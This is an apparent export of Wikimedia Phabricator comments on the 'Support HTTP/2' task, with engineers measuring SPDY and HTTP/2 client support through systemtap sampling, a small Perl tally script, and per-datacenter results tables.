+total: 7281449
+both: 2926542
+h2: 618950
+npn_spdy: 281796
+npn_http1: 401922
+alpn_spdy: 269616
+== data/codfw-upload ==
+total: 10279854
+both: 3416927
+npn_spdy: 200915
+alpn_spdy: 257386
+npn_http1: 311183
+h2: 201732
+== data/eqiad-text ==
+total: 40636664
+npn_http1: 4094824
+both: 13008303
+alpn_spdy: 1192650
+npn_spdy: 1148605
+h2: 2319139
+== data/eqiad-upload ==
+total: 29285850
+both: 14120203
+alpn_spdy: 1076487
+npn_http1: 2940853
+npn_spdy: 834752
+h2: 707442
+== data/esams-text ==
+total: 57042644
+both: 17563745
+alpn_spdy: 2296790
+h2: 3973355
+npn_http1: 4486148
+npn_spdy: 1737478
+== data/esams-upload ==
+total: 41003094
+both: 19462914
+npn_http1: 3615906
+npn_spdy: 1458771
+alpn_spdy: 2259090
+h2: 1313245
+== data/ulsfo-text ==
+total: 71180940
+both: 17082379
+npn_spdy: 2270869
+npn_http1: 7046627
+alpn_spdy: 3108626
+h2: 4927614
+== data/ulsfo-upload ==
+total: 49756271
+both: 14087558
+npn_http1: 3611621
+alpn_spdy: 1965456
+npn_spdy: 1296549
+h2: 1303043
+```",,,1461954315,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+654201,Support HTTP/2,"= 24H Results:
+| Set | H/1 | Both | SPDY | H/2 |
+|--|--|--|--|--|
+| **All** | 54.75% | 33.17% | 7.07% | 5.01% |
+| **Text** | 57.58% | 28.72% | 6.99% | 6.72% |
+| **Upload** | 50.92% | 39.20% | 7.17% | 2.71% |
+| **Eqiad** | 50.79% | 38.80% | 6.08% | 4.33% |
+| **Codfw** | 53.46% | 36.12% | 5.75% | 4.67% |
+| **Esams** | 48.94% | 37.76% | 7.91% | 5.39% |
+| **Ulsfo** | 61.93% | 25.77% | 7.15% | 5.15% |
+
+**24H Raw Data:**
+```
+lines=20
+bblack-mba:results bblack$ for x in data/*; do echo == $x ==; cat $x; done
+== data/codfw-text ==
+total: 7281449
+both: 2926542
+h2: 618950
+npn_spdy: 281796
+npn_http1: 401922
+alpn_spdy: 269616
+== data/codfw-upload ==
+total: 10279854
+both: 3416927
+npn_spdy: 200915
+alpn_spdy: 257386
+npn_http1: 311183
+h2: 201732
+== data/eqiad-text ==
+total: 40636664
+npn_http1: 4094824
+both: 13008303
+alpn_spdy: 1192650
+npn_spdy: 1148605
+h2: 2319139
+== data/eqiad-upload ==
+total: 29285850
+both: 14120203
+alpn_spdy: 1076487
+npn_http1: 2940853
+npn_spdy: 834752
+h2: 707442
+== data/esams-text ==
+total: 57042644
+both: 17563745
+alpn_spdy: 2296790
+h2: 3973355
+npn_http1: 4486148
+npn_spdy: 1737478
+== data/esams-upload ==
+total: 41003094
+both: 19462914
+npn_http1: 3615906
+npn_spdy: 1458771
+alpn_spdy: 2259090
+h2: 1313245
+== data/ulsfo-text ==
+total: 71180940
+both: 17082379
+npn_spdy: 2270869
+npn_http1: 7046627
+alpn_spdy: 3108626
+h2: 4927614
+== data/ulsfo-upload ==
+total: 49756271
+both: 14087558
+npn_http1: 3611621
+alpn_spdy: 1965456
+npn_spdy: 1296549
+h2: 1303043
+```",,,1461948037,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+653655,Support HTTP/2,">>! In T96848#2248985, @faidon wrote:
+>>>! In T96848#2248953, @BBlack wrote:
+>> I'd say this looks like a fine tradeoff to me.  2% net drop back to H/1, vs moving forward on standards and slightly-improving things for most clients (and increasingly more as the deprecated SPDY phases out and more clients move to H/2 -capable browsers).
+> 
+> Fully agreed.
+
++1",,,1461865460,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0,0,1,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1
+653601,Support HTTP/2,">>! In T96848#2248953, @BBlack wrote:
+> I'd say this looks like a fine tradeoff to me.  2% net drop back to H/1, vs moving forward on standards and slightly-improving things for most clients (and increasingly more as the deprecated SPDY phases out and more clients move to H/2 -capable browsers).
+
+Fully agreed.",,,1461861354,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0,0,1,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1
+653596,Support HTTP/2,"(FTR: 24H sample started at 16:17 UTC, but stashbot didn't log it here)",,,1461860448,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+653592,Support HTTP/2,"In the overall 1H test data, the net result is that when we make the switch:
+
+* ~33% of our client connections will upgrade from SPDY to H/2 (which is a very minor improvement)
+* ~7% of our client connections will revert from SPDY to H/1
+* ~5% of our client connections will upgrade from H/1 to H/2
+
+I'd say this looks like a fine tradeoff to me.  2% net drop back to H/1, vs moving forward on standards and slightly-improving things for most clients (and increasingly more as the deprecated SPDY phases out and more clients move to H/2 -capable browsers).
+
+Will report back again after 24H data is in.",,,1461860016,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0,0,1,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+653589,Support HTTP/2,"The initial 1-hour run is done, and there didn't seem to be any adverse effects.
+
+For the record, this is how the raw results format looks per-host:
+```
+total: 3603944
+both: 1099183
+npn_http1: 252756
+h2: 230561
+alpn_spdy: 135580
+npn_spdy: 98353
+```
+
+And the way we interpret the raw fields is:
+* total - total count of TLS reqs
+* sum(everything_else) - count of TLS reqs that sent npn and/or alpn at all, and each stat is mutually exclusive of the others
+* both - ALPN indicates H/2+SPDY support
+* h2 - ALPN indicates H/2 (but not SPDY) support
+* alpn_spdy - ALPN indicates SPDY (but not H/2) support
+* npn_spdy - NPN negotiated SPDY
+* npn_http1 - NPN negotiated H/1
+
+So the way we summarize this into useful categories:
+* total - (both + h2 + alpn_spdy + npn_spdy) = H/1 -only client
+* both = H/2 + SPDY client
+* h2 = H/2 -only client
+* alpn_spdy + npn_spdy = SPDY -only client
+
+For posterity, this is the raw input data from the systemtap outputs:
+```
+lines=10
+bblack-mba:results bblack$ for x in data/*; do echo == $x ==; cat $x; done
+== data/codfw-text ==
+npn_spdy: 11503
+total: 352108
+both: 132412
+npn_http1: 16838
+h2: 27524
+alpn_spdy: 15348
+== data/codfw-upload ==
+total: 515998
+both: 213510
+h2: 10967
+alpn_spdy: 13434
+npn_spdy: 9492
+npn_http1: 13194
+== data/eqiad-text ==
+total: 2371468
+both: 695392
+npn_http1: 208858
+alpn_spdy: 64813
+h2: 108680
+npn_spdy: 57747
+== data/eqiad-upload ==
+total: 1776024
+both: 803344
+npn_http1: 151205
+npn_spdy: 40178
+h2: 34020
+alpn_spdy: 57187
+== data/esams-text ==
+total: 3603944
+both: 1099183
+npn_http1: 252756
+h2: 230561
+alpn_spdy: 135580
+npn_spdy: 98353
+== data/esams-upload ==
+total: 2601065
+both: 1236225
+npn_spdy: 81747
+alpn_spdy: 140342
+h2: 92966
+npn_http1: 204499
+== data/ulsfo-text ==
+total: 3781743
+both: 906763
+h2: 247087
+npn_spdy: 118687
+npn_http1: 414406
+alpn_spdy: 166198
+== data/ulsfo-upload ==
+total: 2360306
+h2: 59818
+both: 687778
+npn_http1: 204378
+alpn_spdy: 91328
+npn_spdy: 66768
+```
+
+And this is the script I'm using to process them:
+```
+bblack-mba:results bblack$ cat h2-proc.pl
+#!/usr/bin/perl -w
+
+use strict;
+
+my %raw;
+while(<>) {
+    my ($k, $v) = split(/:\s*/, $_);
+    $raw{$k} += $v;
+}
+
+my %out;
+$out{'h1'} = ($raw{'total'} - ($raw{'both'} + $raw{'h2'} + $raw{'alpn_spdy'} + $raw{'npn_spdy'})) / $raw{'total'};
+$out{'both'} = $raw{'both'} / $raw{'total'};
+$out{'h2'} = $raw{'h2'} / $raw{'total'};
+$out{'spdy'} = ($raw{'alpn_spdy'} + $raw{'npn_spdy'}) / $raw{'total'};
+
+foreach my $k (sort { $out{$b} <=> $out{$a} } keys %out) {
+    printf(""| %s | %.02f%% |\n"", $k, 100 * $out{$k});
+}
+```
+
+And this is the results broken down by-cluster (for all DCs combined) and by-DC (for both clusters combined):
+== All:
+`bblack-mba:results bblack$ cat data/* | ./h2-proc.pl`
+| h1 | 55.34% |
+| both | 33.26% |
+| spdy | 6.73% |
+| h2 | 4.67% |
+== Text:
+`bblack-mba:results bblack$ cat data/*-text | ./h2-proc.pl`
+| h1 | 59.29% |
+| both | 28.03% |
+| spdy | 6.61% |
+| h2 | 6.07% |
+== Upload:
+`bblack-mba:results bblack$ cat data/*-upload | ./h2-proc.pl`
+| h1 | 49.83% |
+| both | 40.54% |
+| spdy | 6.90% |
+| h2 | 2.73% |
+== Eqiad:
+`bblack-mba:results bblack$ cat data/eqiad-* | ./h2-proc.pl`
+| h1 | 55.12% |
+| both | 36.14% |
+| spdy | 5.30% |
+| h2 | 3.44% |
+== Codfw:
+`bblack-mba:results bblack$ cat data/codfw-* | ./h2-proc.pl`
+| h1 | 49.98% |
+| both | 39.85% |
+| spdy | 5.73% |
+| h2 | 4.43% |
+== Ulsfo:
+`bblack-mba:results bblack$ cat data/ulsfo-* | ./h2-proc.pl`
+| h1 | 61.83% |
+| both | 25.96% |
+| spdy | 7.21% |
+| h2 | 5.00% |
+== Esams:
+`bblack-mba:results bblack$ cat data/esams-* | ./h2-proc.pl`
+| h1 | 49.80% |
+| both | 37.64% |
+| spdy | 7.35% |
+| h2 | 5.21% |",,,1461859535,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+653501,Support HTTP/2,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVRdQxtnD0x0K5Df_YZ0} [2016-04-28T14:25:59Z] <bblack> started SPDY stats sample on 8x caches - T96848#2248582",,,1461853562,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+653491,Support HTTP/2,"Searched all the cache nodes for other builds that might have been left behind.  Found a working compile of the latest source for 3.19.0-2 in @ema's homedir on cp1048 (which he probably mentioned to me on IRC a few weeks ago!).  Tested and doesn't seem crashy and has the right outputs.  I'm still in a more-conservative mindset, though, so I think I'll just select 1x host per site+cluster combination to do the sampling on (8 total), out of the much larger set still running 3.19.
+
+So, target hosts now:
+
+text:
+cp1053
+cp2001
+cp3030
+cp4009
+
+upload:
+cp1048
+cp2002
+cp3034
+cp4005",,,1461851986,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,1,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0
+653486,Support HTTP/2,"And... the output looks like that object was from a previous version of the source, the one in P2719 which lacks detection of an ALPN negotiation which specifies SPDY but not HTTP/2.",,,1461851444,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+653479,Support HTTP/2,"Continuing on the saga above: building the ko for various kernels either doesn't work at all or requires different versions of the systemtap building tools than what's available in jessie.  The one I built for 3.19, I had to hack the systemtap sources with a patch from https://sourceware.org/ml/systemtap/2014-q4/msg00257.html , and that one still caused harm on cp1065 in the end.
+
+What I do have that works on some hosts, is the last binary @ema built, which appears to only load and work on our previous 4.4.0-1-amd64 kernel (`4.4.0-1-amd64 #1 SMP Debian 4.4-1~wmf1 (2016-01-26)`), not the newer 4.4 kernel and not the older 3.19 kernel.
+
+The prod hosts we have now that are capable of running this object (upgraded to the first 4.4 test kernel, but not the latest 4.4 kernel) are:
+cp1067 - eqiad text
+cp1071 - eqiad upload
+cp3048 - esams upload
+cp4006 - ulsfo upload
+
+Probably the best reasonable/conservative plan at this point is to gather stats on just these and process it both as an overall total and include the per-host results, so we can see any regional diff in upload, and how eqiad-text differs from eqiad-upload.  Within each site+cluster, using a single host is a reasonable sub-sample, as it should be pseudo-random which IPs land on which hosts via source hashing.",,,1461850603,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1
+653081,Support HTTP/2,"So, I had intended to do the quick test and start the 24H test today, but I've run into some issues.  Running the kernel object with `staprun` caused cp1065 to get into some crazy state on my first manual test.  My ssh session stayed open, but cp1065 basically stopped responding to icinga checks and public traffic, and the background `stapio` process became unkillable too.  I ended up rebooting (see also T131961#2245145 ).  I may try another test with cp1008 downgraded onto the 3.19.0-2 kernel and see how that flies, but there's no way I'm running this on the fleet till I understand the issue.",,,1461797009,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+652270,Support HTTP/2,"Ok, np!",,,1461705947,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+652269,Support HTTP/2,">>! In T96848#2231806, @BBlack wrote:
+> If you have time and want to do it (next week!), by all means go for it, I have lots else to keep me busy indefinitely :)  My basic plan was try it for an hour on a couple of caches just as trial run (sane stats output makes sense, nothing crashes, no strange machine perf impact), then run it across text+upload for ~24h and sum the outputs up as first true full sample.  Maybe take another shot a week later on a different DOW to confirm things are similar-ish and/or moving in the right direction, as a final step before upgrading?
+
+I don't have time after all, since I'm in the process of moving. But the plan you sketch out sounds good to me.",,,1461705912,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,1,0,0,1
+650325,Support HTTP/2,"If you have time and want to do it (next week!), by all means go for it, I have lots else to keep me busy indefinitely :)  My basic plan was try it for an hour on a couple of caches just as trial run (sane stats output makes sense, nothing crashes, no strange machine perf impact), then run it across text+upload for ~24h and sum the outputs up as first true full sample.  Maybe take another shot a week later on a different DOW to confirm things are similar-ish and/or moving in the right direction, as a final step before upgrading?",,,1461371589,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
+650311,Support HTTP/2,">>! In T96848#2231730, @BBlack wrote:
+>>>! In T96848#2230942, @ori wrote:
+>>>>! In T96848#2147772, @BBlack wrote:
+>>> [...] but using @ema's new systemtap stuff (which is way better than the sniffer-based solution) [...]
+>> 
+>> Is this code published anywhere?
+> 
+> The systemtap script is at https://github.com/wikimedia/operations-puppet/blob/production/modules/tlsproxy/files/utils/h2_spdy_stats.stp - we were semi-blocked on ""finish upgrading the kernels on the caches so we can deploy the same systemtap compiled blob to them all and grab stats"", and then it turned out for other blocker reasons we're not going to finish those kernel upgrades quickly.  Probably we'll have to build for both kernels and handle running it on both too for taking the extended snapshots.  That stuff's all to resume next week, at least that's the plan.
+
+Ah, OK. I asked because I was interested in helping out, but it sounds like you are on top of this and that I would only be getting in the way. If there is something you'd like my help with, let me know.",,,1461368800,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,1,1,0,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1
+650300,Support HTTP/2,">>! In T96848#2230942, @ori wrote:
+>>>! In T96848#2147772, @BBlack wrote:
+>> [...] but using @ema's new systemtap stuff (which is way better than the sniffer-based solution) [...]
+> 
+> Is this code published anywhere?
+
+The systemtap script is at https://github.com/wikimedia/operations-puppet/blob/production/modules/tlsproxy/files/utils/h2_spdy_stats.stp - we were semi-blocked on ""finish upgrading the kernels on the caches so we can deploy the same systemtap compiled blob to them all and grab stats"", and then it turned out for other blocker reasons we're not going to finish those kernel upgrades quickly.  Probably we'll have to build for both kernels and handle running it on both too for taking the extended snapshots.  That stuff's all to resume next week, at least that's the plan.",,,1461366245,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1
+650162,Support HTTP/2,">>! In T96848#2147772, @BBlack wrote:
+> [...] but using @ema's new systemtap stuff (which is way better than the sniffer-based solution) [...]
+
+Is this code published anywhere?",,,1461345489,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,1,1,0,1
+650137,Support HTTP/2,"Packaging patches updated to 1.9.15-1+wmf1 (which is still in branch wmf-1.9.14-1, as we're still based on that release from debian upstream unstable/testing, and then includes the full 1.9.14..1.9.15 diffs from upstream as an additional local commit).  Builds correctly, installed locally on pinkunicorn for testing, seems to work!",,,1461344149,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+650136,Support HTTP/2,"Change 284920 had a related patch set uploaded (by BBlack):
+Remove --automatic-dbgsym on dyn mod dh_strip
+
+[[https://gerrit.wikimedia.org/r/284920]]
+",,,1461344099,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+648846,Support HTTP/2,"I backported some of that to our tentative 1.9.14-1+wmf1, but yeah we'll want the rest of the HTTP/2 fixes that have landed since in 1.9.15.  Note debian now has their git repo pushing a 1.9.14-1 to unstable (which means the 'dyn' work for nginx dso stuff is done), and the current 1.9.14-1+wmf1 of ours is rebased onto that.  There's some testing to do about how the new packages will work on jessie with some modules split out, etc.",,,1461159957,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,41,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+648808,Support HTTP/2,"Nginx 1.9.15 Changes:
+
+```
+
+    *) Bugfix: ""recv() failed"" errors might occur when using HHVM as a
+       FastCGI server.
+
+    *) Bugfix: when using HTTP/2 and the ""limit_req"" or ""auth_request""
+       directives a timeout or a ""client violated flow control"" error might
+       occur while reading client request body; the bug had appeared in
+       1.9.14.
+
+    *) Workaround: a response might not be shown by some browsers if HTTP/2
+       was used and client request body was not fully read; the bug had
+       appeared in 1.9.14.
+
+    *) Bugfix: connections might hang when using the ""aio threads""
+       directive.
+       Thanks to Mindaugas Rasiukevicius.
+```
+
+Probably we'll see a lot of HTTP/2 fixes from now on since the protocol's implementation is really new, but worth to mention anyway :)
+
+",,,1461157626,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,41,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+647577,Support HTTP/2,"^ The 1.9.14 commits have the chrome http/2 fix in place, too.  I haven't built or tested these yet (pinkunicorn still on the 1.9.12 patches).",,,1461014083,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,41,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+647573,Support HTTP/2,"Change 284077 had a related patch set uploaded (by BBlack):
+nginx (1.9.14-1 wmf1) jessie-wikimedia; urgency=medium
+
+[[https://gerrit.wikimedia.org/r/284077]]
+",,,1461013958,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+647572,Support HTTP/2,"Change 284075 had a related patch set uploaded (by BBlack):
+multicert   libssl1.0.2 patches for 1.9.14
+
+[[https://gerrit.wikimedia.org/r/284075]]
+",,,1461013957,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+647570,Support HTTP/2,"Change 279991 abandoned by BBlack:
+nginx (1.9.12-1 wmf1) jessie-wikimedia; urgency=medium
+
